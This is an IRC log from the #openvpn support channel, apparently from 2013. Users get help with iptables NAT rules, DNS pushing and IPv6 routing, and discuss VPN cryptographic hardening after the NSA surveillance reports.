11:25 < SupaYoshi> This is the NAT hack?
11:25 <+pekster> The ! -d bit is pointless, but yes
11:25 < SupaYoshi> I see..
11:26 < SupaYoshi> Okay.. mhm. tempting to switch everything over... but gives me a lot of issues.
11:26 < SupaYoshi> I wouldnt be able to reach my ISP router anymore that easily.. and stuff. and upgrades etc.
11:26 <+pekster> Sure you can: you reach it by IP like you always have
11:26 < SupaYoshi> Id rather use the NAT Hack then, of couse I'd love to see where packets are coming from... but yeah =/
11:26 <+pekster> How do you think you get to google that is perhaps a dozen hops away from you?
11:26 <+pekster> Pretty basic routing stuff really
11:27 < SupaYoshi> 192.168.2.254 -> Gateway right now. If I set DMZ on.. and set my router as the gateway
11:27 < SupaYoshi> Yeah true :P
11:27 < SupaYoshi> your making me think hehe.
11:28 <+pekster> Your problem isn't really openvpn; it's your lack of control over your own network
11:28 <+pekster> I'd suggest you work to fix that
11:28 < SupaYoshi> :) hah very true right now ;)
11:28 < rob0> If you don't control it, it's not truly yours. :)
11:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:29 < SupaYoshi> so wait.. lets say I'd had it DMZ'ed huh? :P
11:29 < SupaYoshi> How would I do the range on the OpenWRT router and then to the ISP router.
11:30 < SupaYoshi> If the ISP router is 192.168.2.254 -> Id have to be in the same with my OpenWRT router correct?
11:30 <+pekster> Becuase it will use the upstream device (the ISP thing) as its default route
11:30 < SupaYoshi> I see...
11:30 <+pekster> On the uplink, which you'd presumably get by static IP or DHCP reservation (so the NAT target is consistent)
11:30 <+pekster> !dmz
11:30 <@vpnHelper> "dmz" is Low end SOHO routers sometimes have a DMZ feature. This does NOT magically give your internal host a public IP, but is a form of fallthrough NAT. Such features may or may not operate as expected depending on the device; consult its documentation, not here, for details.
11:31 <+pekster> You'd use a unique network downstream (all networks within a routing domain need to be unique)
11:31 < SupaYoshi> bleh. You know what +pekster, aslong as my ISP wont give me bridging I dont have full control anyway =/
11:31 < SupaYoshi> Yeah..
11:31 < SupaYoshi> Id rather go with the NAT hack then.
11:31 <+pekster> Maybe not, but with the so-called "DMZ" feature (worse-name for a feature ever. DMZ is for warzones, not routers) you can come close
11:31 -!- aero224 [~Adium@S0106d83062486f69.cg.shawcable.net] has joined #openvpn
11:31 < SupaYoshi> -sigh- its just this way till they come up with bridging support.
11:32 < SupaYoshi> Yeah true.. But Id have to rewire everything downstairs ;) hehe.. mhm. =]
11:32 < SupaYoshi> Tempting.... xD lol
11:32 < SupaYoshi> what would you do? :P
11:33 < SupaYoshi> dmz huh? :P
11:34 < SupaYoshi> +pekster, ive a unrelated question that might influence my decission..
11:35 < SupaYoshi> id like something to happen when you type a wrong URL. -> you get directed to the Internal homesrv website. instead of for example.. google ;)
11:35 < SupaYoshi> Would I need to setup a DNS server for that yeah?
11:36 <+pekster> Don't do that. You need to violate RFC to do that, and this is Bad
11:36 < SupaYoshi> :P hahaha
11:36 < SupaYoshi> okayyy :) it was just an stupid idea I had once. ;P
11:36 < Eugene> What's this about violating RFCs?
11:36 <+pekster> Also not realted to openvpn; try ##networking
11:37  * Eugene gets the lube
11:37 < SupaYoshi> Eugene, wb :D
11:37 <+pekster> Eugene: He wants the "OpenDNS-style" feature where it hijacks NXDOMAIN replies
11:37 <+pekster> That's neither related to openvpn, nor a smart idea
11:37 < Eugene> Definitely lube time.
11:37 < SupaYoshi> +pekster haha yeah :P i was using OpenDNS before.
11:37 <+pekster> !opendns
11:37 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
11:37 <@ecrist> !notovpn
11:37 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
11:38 < SupaYoshi> Since it blocked mailous stuff and porn...
11:38 < SupaYoshi> but yeah it was stupid..
11:38 <+pekster> ecrist: #2++ :)
11:38 < Eugene> "blocked porn"
11:38 < Eugene> Bahahahahahahahaha
11:38 < SupaYoshi> So i'd think like hey... what if I could change that to redirect to my own IP ;) just for fun
11:39 <@ecrist> really, hijacking DNS is pretty trivial
11:39 < SupaYoshi> :P hahahhahh
11:39 < SupaYoshi> sorry i didnt know :3
11:39 < SupaYoshi> well it pissed me off a while back
11:39 < SupaYoshi> But i used to use opendns, since the DNS of my ISP was super slow and sometimes even down leaving me without internet a bout a year ago...
11:40 < SupaYoshi> And this was to like +30,000 customers
11:40 < SupaYoshi> lmao... fail.
11:40 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
11:40 <+pekster> Yes, and when Comcast did it shortly after I rolled out a corporate VPN, I had to "hijack Comcast's DNS hijack attempt" so I could redirect users to a nice page explaining why their corporate network access wouldn't work. F-ing stupid ISP's :(
11:40 <@ecrist> DNS being down doesn't leave you "without internet"
11:40 < SupaYoshi> ecrist, sorry for my cursing ^
11:40 <+pekster> Google DNS: tastes great, less filling!
11:41  * ecrist doesn't give any fucks about cursing
11:41 < SupaYoshi> :P anyway. :) rob0 said that this MASQ line was bad.
11:41 < SupaYoshi> And I should be using something else.
11:41 <+pekster> Seems fine if that's the source IP of the VPN server
11:41 <+pekster> (and eth0 is your LAN interface)
11:41 < SupaYoshi> wait that was you :P
11:42 < SupaYoshi> !linnat
11:42 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
11:42 <+pekster> It's "bad" to do that as it's hackish. If you dont' have control over your own environment, you have to use such hacks
11:42 <@ecrist>  already posted !linnat
11:42 < SupaYoshi> so hold on ;)
11:42 < SupaYoshi> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -o eth0 -j MASQUERADE
11:42 < SupaYoshi> My internal LAN ip is 192.168.2.3
11:42 <+pekster> Same thing. I already told you the `! -d` bit is pointless
11:43 < SupaYoshi> My OpenVPN VPN tunnel IP is 10.8.0.1
11:43 <+pekster> MASQ picks up on the primary IP on the interface
11:43 <+pekster> (read the iptables-extensions(8) manpage, or if your userland is old, it'll be in iptables(8) )
11:43 < SupaYoshi> should i make this line: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
11:43 < SupaYoshi> or even.. iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j 192.168.2.3
11:43 <+pekster> Sure, if you'd like. The worthless `! -d` part doesn't hurt, it just is pointless
11:44 < SupaYoshi> Since MASQ picks up the prim. IP.
11:44 <+pekster> Not the 2nd form; read about SNAT
11:44 < SupaYoshi> okay.
11:44 <+pekster> (again, in the manpage with wonderful examples and usage syntax)
11:44 < SupaYoshi> Im going to do that, as I get it working. ;) I love to try out stuff and then read about what I done and check up things.
11:44 <+pekster> MASQ is fine if you don't want to declare an IP; it is "a little slower" but you won't notice the difference in your environment
11:44 < SupaYoshi> sweet :3
11:45 < SupaYoshi> Yeah its a shame Ive to use such a hack... but aslong as I dunt get bridging supporto h well =/
11:45 < SupaYoshi> maybe next year :3
11:45 < SupaYoshi> Oh btw Eugene
11:46 < SupaYoshi> The reason it didnt work earlier today... was because of me being an USERERROR. :P
11:46 < SupaYoshi> The IP of the server was reachable. =/ just I pinged the wrong ip -.-
11:46 < SupaYoshi> 192.168.2.10 instead of the right .3 =/
11:47 < Eugene> Tada
11:47 < Eugene> NEver attribute to malice what can be explained by stupidity
11:47 < SupaYoshi> ><
11:48 < SupaYoshi> just now fighting with my Windows PC over samba shares.
11:48 < SupaYoshi> But im not gonna bother with that. ;P Works on all other pcs.
11:49 <+pekster> Eugene: I reference the quote a lot as it explains many things
11:54 < SupaYoshi> brb rebooting my windows
11:54 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit []
11:55 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 240 seconds]
11:58 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
11:58 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:34 < hyper_ch> why even bother with VPN anymore when the NSA can read it all anway :)
12:34 < hyper_ch> btw, do you still need to make backups or can you just call up the NSA and ask if they can give you your backpus ;)
12:39 <+pekster> Nah, pure FUD. NSA can 1) attack weak crypto if they are so-motivated against a particular target (including poor implementations of openvpn,) 2) store bulk amounts of encrypted data to attack later after the fact (see #1,) or 3) do "black-bag" ops like sneak-and-peak entries and bug your home or digital hardware
12:40 <+pekster> Properly implemented crypto will encourage them to use #3, provided they don't have a significant cryptographic break the rest of the world hasn't figured out
12:41 <+pekster> Although as it stands, "poor implementations" might include an awful lot since the latest 'official' release ships an old easy-RSAv2 release with 1024-bit keys and md5 hashes, and without --tls-auth or --tls-cipher, a MITM can downgrade to the lowest-supported TLS cipher-suite if there's a known attack
12:41  * pekster should write a 'hardening OpenVPN' page for the wiki one of these days
12:42 <+pekster> (well, official windows one anyway. 2.3.0 for Unix-alikes makes you go get easyrsa via your distro or upstream)
12:44 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
12:46 < hyper_ch> pekster: so, you're also an openvpn guru :)
12:50 <@ecrist> hyper_ch: he has @, just prefers not to use it
12:50 <+pekster> Per Freenode's recommended channel guidelines, yes. I generally like guidelines and RFCs unless I declare them stupid ;)
12:50 < hyper_ch> still struggling with my problem :)
12:51 < hyper_ch> actually, I solved most of it now
12:51 < hyper_ch> the only problem I have left is (a) how to assign nameservers through the vpn connection to windows clients
12:51 < hyper_ch> and (b) how to route all traffic through the vpn with ipv6
12:52 <+pekster> !pushdns
12:52 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
12:52 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
12:53 < hyper_ch> pekster: doesn't seem to work with ipv6
12:53 <+pekster> See !redirect, but for 'all globally routable IP space' use 2000::/3 as your route
12:53 < hyper_ch> pekster: also doesn't seem to work
12:53 <+pekster> It has the same effect as 0/1 and 128/1 do for IPv4
12:53 < hyper_ch> pekster: as apps still try to use ipv4
12:53 <+pekster> Then it's a local application problem
12:53 <+pekster> Having IPv6 routes doesn't magically make your apps look up the AAAA DNS record or use an IPv6 socket
12:54 < hyper_ch> that's what I get.. but how to change that?
12:54 <+pekster> Read the documentation for your application?
12:54 <@ecrist> most, by default, prefer v6, if they can
12:54 < hyper_ch> ecrist: unfortunately not :)
12:54 <+pekster> Right, browsers & stuff should magically work with it when it's there, and when the site you're visiting has usable AAAA records
12:54 <+pekster> (google, youtube, wikipedia, and facebook are all well-known IPv6-enabled sites)
12:55 <@ecrist> hyper_ch: your one app issue isn't "most"
12:55 < hyper_ch> Konqueror didn't go ipv6
12:55 <@ecrist> as is the openvpn community stuff
12:55 <+pekster> !gpl
12:55 <+pekster> Hmm, thought I added that one. Guess not :)
12:55 < hyper_ch> gpl <3
12:56 <+pekster> Depends on purpose; I use a variety of GPLv2/3 and BSD 3-clause depending on my project goals
12:56 <@ecrist> I'm not a fan of the GPL
12:57 <+pekster> Traditionally BSD folks don't like the GPL, but some seem to ignore the fact that you can use GPL software just fine, even on a BSD system (just not release it *as* BSD)
12:57 < hyper_ch> but GPL is the best thing ever happening to computing
12:57 <+pekster> Not that this is the only issue, but it is if you want to cleanly package things
12:57 <+pekster> hyper_ch: You're probably referring to the general concept of copyleft-licensing; all of the major copyleft licenses have pros/cons
12:57 < hyper_ch> if my ISP just gave me native ipv6 my problems would be so much lesser :(
12:58 <@ecrist> hyper_ch: get an HE tunnel
12:58 < hyper_ch> not really sure how to set that up
12:58 <+pekster> Thankfully both tunnelbroker.net and sixxs.net have instructions
12:58 <@ecrist> heh.  not really our problem.
12:58 <@ecrist> um, tunnelbroker.net IS HE
12:58 <+pekster> Yes
12:59 <+pekster> I was providing website references ;)
12:59 < hyper_ch> so, if I get a HE tunnel, I could use ipv6 at home only on certain clients?
12:59 <@ecrist> what?
13:00 <+pekster> That's probably a better question for #ipv6. It works just like your v4 network access, except that IPv6 gives you enough IPs to address every possible device you have inside your entire routing domain
13:00 < hyper_ch> well, if I get a he tunnel somehow... I should get a /64 net, right? So, in my home lan I set that tunnel up on the router. And a computer in the lan could then just be set to use ipv6 and no ipv4 for example?
13:01 <@ecrist> yup
13:01 < hyper_ch> or would clients still need ipv4?
13:01 <@krzee> shit they give enough IPs to address every device in your house, toaster included
13:01 < hyper_ch> hmmm, I'll have to look that up then :)
13:01 <@ecrist> there's lots of stuff on the net that doesn't use v6 yet
13:01 <+pekster> Sure. That's generally worthless (unless you're using a 6to4 mechanism) since "most of the Internet" is still v4. But it's quite possible
13:01 < hyper_ch> pekster: I have specific purposes for using ipv6 only
13:01 <@ecrist> most of the real-world v6 stuff at this point is infrastructure
13:02 <@krzee> hyper_ch, using ipv6 for a darknet?
13:02 <@ecrist> "last-mile" hosts (web servers, etc) have had little push to adopt v6
13:02 < hyper_ch> krzee: nah, for evil purpuses :)
13:02 <+pekster> ecrist: *opens coat in an alley* "Wanna buy some CGN?" :)
13:03 < hyper_ch> krzee: you're generator is still up?
13:04 <@krzee> generator?
13:04 < hyper_ch> config generator
13:04 <@krzee> i have direct street power and car batteries in a inverter powering the house? no generator
13:04 <@krzee> oh sure
13:04 <@krzee> !confgen
13:04 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
13:04 < hyper_ch> and I thought you use a ZPM meanwhile..
13:05 < hyper_ch> secure-comuting....  can computers and computing be secure?
13:08 < rob0> With ecrist all things are possible!
13:08 < hyper_ch> ecrist >= bruce schneier?
13:09 <+pekster> I've got your network security right here: http://bbsimg.ngfiles.com/1/22294000/ngbbs4d279dd85c79d.jpg
13:09 <+pekster> Foolproof (provided wireless is also disabled)
13:10 < hyper_ch> fools render all security useless ;)
13:12 <@ecrist> hyper_ch: it's secure-computing.net.  you omitted the p
13:13 <@ecrist> comuting isn't even a word.  commuting is, though
13:13 < hyper_ch> the p was deleted when my furball walked accross the keyboard
13:13 < hyper_ch> wasn't my fault... really
13:14 <@ecrist> generally, in life, it can all be blamed on pussy one way or another
13:14 < rob0> I rest my case.
13:14 < hyper_ch> the two legged variant is a lot more expensive to maintain though
13:14 <@ecrist> the trick is to keep it on all fours
13:15 < hyper_ch> :)
13:17 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
13:21 <@krzee> :D
13:22 < hyper_ch> http://www.catster.com/files/post_images/93d9baa9234e29010079ba9cb4e969aa.jpg
13:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:39 -!- mode/#openvpn [+v s7r] by ChanServ
13:40 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:50 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
13:50 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:56 <@krzee> !repo
13:56 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
13:59 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
14:00 < copper> hi
14:01 < copper> I'm a daily user of OpenVPN for all of my network traffic, and I'm a little shaken by the most recent Snowden revelations, about the NSA successfully cracking VPNs
14:01 < copper> they don't see which VPNs or what software
14:01 < copper> say*
14:01 <@krzee> link please?
14:02 < copper> http://www.nytimes.com/2013/09/06/us/nsa-foils-much-internet-encryption.html
14:02 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
14:02 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Client Quit]
14:02 < copper> http://www.theguardian.com/world/2013/sep/05/nsa-gchq-encryption-codes-security
14:02 <@vpnHelper> Title: Revealed: how US and UK spy agencies defeat internet privacy and security | World news | Guardian Weekly (at www.theguardian.com)
14:03 < copper> unfortunately the leaks are (conveniently?) vague
14:04 < copper> they don't really say if SSL/TLS is completely FUBAR, or what crypto standards have NSA backdoors, or what is safe to use
14:04 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
14:04 <@krzee> there was always hacker lore that they knew some shortcut to AES
14:04 <@krzee> they being nsa
14:04 <@krzee> there is no evidence to back that up obviously
14:05 < havoc> krzee: saw that yesterday via: http://arstechnica.com/security/2013/09/nsa-attains-the-holy-grail-of-spying-decodes-vast-swaths-of-internet-traffic/
14:05 <@vpnHelper> Title: NSA attains the Holy Grail of spying, decodes vast swaths of Internet traffic | Ars Technica (at arstechnica.com)
14:05 < copper> also from Bruce Schneier: http://www.theguardian.com/commentisfree/2013/sep/05/government-betrayed-internet-nsa-spying
14:05 <@vpnHelper> Title: The US government has betrayed the internet. We need to take it back | Bruce Schneier | Comment is free | The Guardian (at www.theguardian.com)
14:05 < havoc> ^^^^ which links to several guardian and post articles
14:05 <@krzee> also they arent saying what type of VPN, take in to account that ANY of us crack easily crack pptp now
14:06 <@krzee> (online cloudcracker will give you the key in a day from a packet dump)
14:06 < copper> http://www.theguardian.com/world/2013/sep/05/nsa-how-to-remain-secure-surveillance
14:06 <@vpnHelper> Title: NSA surveillance: how to stay secure | Bruce Schneier | World news | theguardian.com (at www.theguardian.com)
14:06 < havoc> I don't think ovpn w/ 4096b keys, TLS, etc... is so easy for them
14:06 < copper> Schneier says "Use TLS. Use IPsec."
14:06 < hyper_ch> "4) Be suspicious of commercial encryption software, especially from large vendors. My guess is that most encryption products from large US companies have NSA-friendly back doors, and many foreign ones probably do as well. It's prudent to assume that foreign products also have foreign-installed backdoors. Closed-source software is easier for the NSA to backdoor than open-source software. Systems relying on master secrets are vulnerable to the NSA,
14:06 < hyper_ch>  through either legal or more clandestine means."
14:07 < havoc> but that's just the pipe, not what's likely easily available at either end
14:07 < copper> "Prefer symmetric cryptography over public-key cryptography. Prefer conventional discrete-log-based systems over elliptic-curve systems; the latter have constants that the NSA influences when they can."
14:07 < havoc> hyper_ch: yup :)
14:07 <@krzee> wait pnot preferring slliptic now?
14:08 <@krzee> just a year or so ago DJB said go elliptic for long term
14:08 < havoc> apparently not, or at least it's "less secure", given the NSA's capabilities
14:08 < copper> anyway, I followed the OpenVPN HOWTO. The question is, am I safe?
14:09 < copper> seems like the scripts generate 1024 bit RSA private keys, is that strong enough?
14:09 < hyper_ch> copper: only if you do this http://bbsimg.ngfiles.com/1/22294000/ngbbs4d279dd85c79d.jpg
14:09 < havoc> copper: http://openvpn.net/index.php/open-source/documentation/howto.html#security
14:09 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:09 < havoc> do that too
14:09 <@krzee> copper, personally i use 4096 bit
14:09 < copper> havoc: I do that
14:10 < havoc> copper: ok, and what krzee said, 4096b keys
14:10 < hyper_ch> why only 4k bits?
14:11 < hyper_ch> why not use more bits?
14:12 <@krzee> if you go too high you risk using untested keysizes
14:12 <+pekster> They take exponentially longer to create for next to no pratical gain
14:12 <+pekster> (possibly even a loss in security, yea. It's "undefined" now)
14:12 <+pekster> If you want "more" security, join the devs in bringing ECC support to the TLS handshake
14:13 < hyper_ch> ECC... doesn't ram have that?
14:13 <@krzee> ECC = eliptic curve, isnt that what they're saying the nsa has shortcuts for now?
14:13 <+pekster> 1024 is probably 'too weak.' 2048 should keep even the NSA at bay (again, they'll go after the implementation before brute-forcing things at that point) and 4096 gives you "even more forward-security"
14:13 <+pekster> krzee: See my 'FUD' comment from earlier this morning
14:13 <+pekster> tl;dr: not really. They're going after endpoitns and weak implementations
14:14 <+pekster> (ie: same stuff they've been doing for 3 decade)
14:14 <@krzee> nice i missed it, but im leading towards the same thought? i do plan on reading all i can find tho
14:14 <@krzee> so far its all FUD
14:14 <+pekster> Please do. I'm just saying the media tends to get technical parts of *any* news story quite wrong
14:14 <@krzee> i wanna try to find the meat
14:15 < hyper_ch> look into the fridge or freezer
14:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:16 < copper> Schneier is an expert though
14:16 < copper> but I find him surprisingly vague as well
14:16 < hyper_ch> there's even a facts page about him :)
14:16 < Aketzu> best news was like "NSA has broken VPN"
14:16 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 248 seconds]
14:16 <@krzee> !pptp
14:16 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
14:16 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
14:17 <@krzee> some vpn BEEN broken
14:17 <@krzee> "vpn" dont mean much by itself
14:17 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
14:17 <@krzee> the NYT article sucked
14:18 <@krzee> skipping to bruce, he /is/ an expert
14:18 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Ping timeout: 240 seconds]
14:19 <@krzee> "Those methods include covert measures to ensure NSA control over setting of international encryption standards"
14:19 <@krzee> that seems to point to the hacker lore and secret AES shortcut
14:21 -!- adac [~adac@chello080109174123.tirol.surfer.at] has quit [Ping timeout: 276 seconds]
14:21 < copper> which brings me to the "larger symmetric keys" paragraph from the HOWTO
14:21 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn
14:21 <@krzee> The agencies have not yet cracked all encryption technologies, however, the documents suggest. Snowden appeared to confirm this during a live Q&A with Guardian readers in June. "Encryption works. Properly implemented strong crypto systems are one of the few things that you can rely on," he said before warning that NSA can frequently find ways around it as a result of weak security on the computers at either end of the communication.
14:21 <@krzee> aka, exactly what pekster was saying =]
14:21 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
14:22 < copper> should I use blowfish 128? aes 256 cbc?
14:22 <@krzee> copper, thats a decision for you to make yourself, i choose bf
14:22 < copper> I can't make an educated guess
14:22 <+pekster> That's less important than hardening TLS, IMO
14:23 <+pekster> Use aes-256 or BF >=256 when you want data channel security, but without hardened TLS it's all pointless
14:23 <+pekster> Again, --tls-auth and --tls-cipher is where to do your hardening
14:23 <+pekster> (and a recent git commit in -master lets you use TLS1.2 for the 'Suite B' ciphers too)
14:23 <+pekster> !previews
14:24 -!- aero224 [~Adium@S0106d83062486f69.cg.shawcable.net] has quit [Quit: Leaving.]
14:24 <@krzee> oooo that got added!?
14:24 <+pekster> Yes, and I even have a win32 preview build with that support
14:24 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
14:24 <+pekster> !learn previews as Unofficial "bleeding-edge" feature previews for Windows can be found at this project page: http://sourceforge.net/projects/openvpnpreviews/
14:24 <@vpnHelper> Joo got it.
14:26  * pekster kicks vpnHelper. Apparently I can use the "search" command with --values for the text "openvpnpreviewsx" but _not_ "openvpnpreviews"
14:26 <+pekster> Buggy thing.
14:26 <@plai> pekster: did commit aes-gcm patches?
14:26 <+pekster> aes-gcm works fine with that one commit James did, yes
14:26 <+pekster> See the wiki page on my project for the git commit, but it's all part of that single commit, yes
14:26 <+pekster> Oh, or do you mean for the data channel?
14:26 <+pekster> (this is TLS only)
14:27 <@plai> pekster: yeah
14:27 <@plai> the patch from kenny root iirc
14:27 <+pekster> No, not yet. Quite frannkly I'm more interested in hardening TLS with 1.2-only ciphers, but I can poke at it. Is this on the ML, or has it made it to -master or -testing yet?
14:29 <+pekster> aes-256 & BF-whatever isn't generally assumed to be broken now, but weaker TLS ciphers are somewhat suspect. This said, I don't have any real problems limiting openvpn to strong 1.0-cipher-suites today
14:30 <+pekster> (even camellia-256 makes the 'decent enough for security-minded use' list, although it's a bit less well-tested)
14:30 <@plai> pekster: yeah. I think the the selling point for aes-gcm for data is hw acclerated encryption
14:30 <+pekster> Right
14:31 <+pekster> This is certainly a good thing, I'm just less personally-motivated about it :P. Plus it's easier for me to reference a git commit than 'some random patch that may or may not get into openvpn proper in the same form' as I'd like to stay as vanilla as possible with my preview builds. Basically a way for interested admins and devs to "try before you upgrade" kind of thing
14:32 <+pekster> Or perhaps "yell to the -devel list if it breaks something we didn't think of (besides Tommato-whateveritwas)"
14:33 <+pekster> 5 whole downloads on that preview (yet only 1 person grabbed the gpg sig :P)
14:34 -!- adac [~adac@chello080109174123.tirol.surfer.at] has joined #openvpn
14:35 < copper> "Much of the public-key cryptography we use today involves elliptic curves, something that is even more ripe for mathematical breakthroughs. It is not unreasonable to assume that the NSA has some techniques in this area that we in the academic world do not. Certainly the fact that the NSA is pushing elliptic-curve cryptography is some indication that it can break them more easily."
14:35 < copper> ^^ Schneier
14:35 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
14:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-qiswrxczbohhpbny] has quit [Ping timeout: 245 seconds]
14:37 < copper> http://www.schneier.com/blog/archives/2013/09/the_nsas_crypto_1.html
14:37 <@vpnHelper> Title: Schneier on Security: The NSA's Cryptographic Capabilities (at www.schneier.com)
14:39 < [fred]> it would be nice to have a alternative to openssl
14:40 <@krzee> polarssl
14:41 < [fred]> watching the news make me think: every encryption is broken
14:42 < copper> well, I hate having zero technical competence in this field
14:43 < copper> makes me paranoid for reasons which I don't know to be good or bad
14:44 < fischli> krzee: why would you prefer polarssl?
14:44 <@krzee> he said it would be nice to have an alternative to openssl, i pointed him at polarssl? i can tell you why the .nl government prefers polarssl though...
14:44 <@krzee> because it is smaller cleaner code and easier for them to audit
14:45 <@krzee> https://openvpn.fox-it.com
14:45 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com)
14:45 <+pekster> It supports less though
14:46 <+pekster> Mixed bag, as usual with security options
14:46 <@krzee> right
14:46 <+pekster> It does do RSA/AES-256-GCM/SHA384 though (a TLS1.2 suite) so that's something
14:46 <@krzee> even does blowfish now
14:47 < copper> generating dh4096.pem on a 3.4GHz Xeon: should I expect it to be completed under an hour, or does it take hours?
14:47 <+pekster> BF, AES, and Camellia, which covers all the typical 'high security' needs
14:47 <+pekster> copper: Depends a bit on CPU, but mostly how fast your entropy pool recovers
14:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-edckbawyjxxqafyo] has joined #openvpn
14:52 <@krzee> http://www.narcis.nl/research/RecordID/OND1340004/Language/en
14:52 <@vpnHelper> Title: Breaking ECC2K-130 (http://www.narcis.nl) (at www.narcis.nl)
14:52 <@krzee> intardesting
14:56 <@krzee> actual pdf http://binary.cr.yp.to/ecc2k130-20091105.pdf
14:56 <@krzee> bbl
14:58 -!- klong-2 [~klong@207.115.88.202] has joined #openvpn
15:00 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 248 seconds]
15:03 < fischli> "their security [for ECC] is less well understood" ... that's more suspicious than satisfying to me
15:06 -!- copper [~copper@unaffiliated/copper] has quit [Remote host closed the connection]
15:07 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
15:07 -!- JSharpe [~JSharpe@h88-150-184-50.host.redstation.co.uk] has quit [Ping timeout: 246 seconds]
15:11 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
15:11 -!- klong-2 [~klong@207.115.88.202] has quit [Ping timeout: 268 seconds]
15:13 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
15:15 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:22 -!- p3rror [~mezgani@41.249.112.162] has joined #openvpn
15:24 -!- klong-2 [~klong@207.115.88.202] has joined #openvpn
15:26 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
15:35 -!- copper [~copper@unaffiliated/copper] has quit [Quit: ZNC - http://znc.in]
15:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 276 seconds]
15:41 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
16:06 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
16:08 -!- klong-2 [~klong@207.115.88.202] has quit [Ping timeout: 245 seconds]
16:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
16:18 -!- tharkun [~0@187.188.94.182] has joined #openvpn
16:19 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
